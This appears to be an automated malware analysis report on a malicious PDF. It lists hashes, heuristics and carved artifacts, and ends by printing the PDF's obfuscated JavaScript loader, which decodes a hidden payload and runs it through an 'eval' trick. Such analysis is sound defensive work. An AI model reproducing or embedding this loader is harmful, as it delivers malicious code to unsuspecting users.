Malicious PDF — malware analysis report

Static analysis result for SHA-256 30ff4c59e3c195a3…

MALICIOUS

PDF

4.5 KB First seen: 2013-05-16
MD5: e23075d92e312c4eaa47100afdd30b25 SHA-1: fae1e0390c1c0b411a8cdccd174b58e191ef2e17 SHA-256: 30ff4c59e3c195a3148227b79e033ff462abb81938562700db513b46fb332f87
76 Risk Score

Malware Insights

MITRE ATT&CK
T1553.005 Subversion: Mark-of-the-Web Bypass

The PDF file was flagged as malicious by an ML classifier with high confidence. It contains embedded JavaScript and an embedded binary file, indicating a likely attempt to deliver a secondary payload. The embedded JavaScript stream is the primary mechanism for executing malicious code within the PDF.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9999

Heuristics 5

  • Malformed active-content stream length medium PDF_MALFORMED_EXPLOIT_STREAM_LENGTH
    A PDF stream that carries active/exploit-looking content has a declared /Length that does not match the recovered stream body. Malformed stream boundaries and length mismatches are common parser-evasion/supporting evidence around Reader exploit streams.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded file low PDF_EMBEDDED
    PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
embedded_file_obj0013.bin pdf-embedded-file PDF EmbeddedFile object 13 at offset 0x429 79560 bytes
SHA-256: 90a0c6b981f16c6e5bf433357d6d47a588144f8549b78898a3c51cddf0ae0837
Detection
ClamAV: No threats found
Obfuscation or payload: likely
278 of 278 identifiers look randomly generated (e.g. 'TszNp4Ed1NLnYcCw1TszNp4Ed1NLnYcCw2TszNp4') — consistent with name-mangling obfuscation. Carved artifact contains 101 long base64-like blob(s).
javascript_obj0008_000.js pdf-javascript-stream PDF /JS object 8 at offset 0x1F1 230 bytes
SHA-256: 30730f7211a4326508ddb42f6ade15490f8aedd18900cefc39ff128ab006862e
Preview script
First 1,000 lines of the extracted script
zx1=this.getDataObjectContents("clown");zx2=util.stringFromStream(zx1, "utf-8");zx3="";for (i=0;i<zx2.length;i +=17){   zx3 +=zx2.charAt(i);}zx4="http://e"+"val/query?a=exemple&b=2";zx5=util.crackURL(zx4).cHost;this[zx5](zx3);

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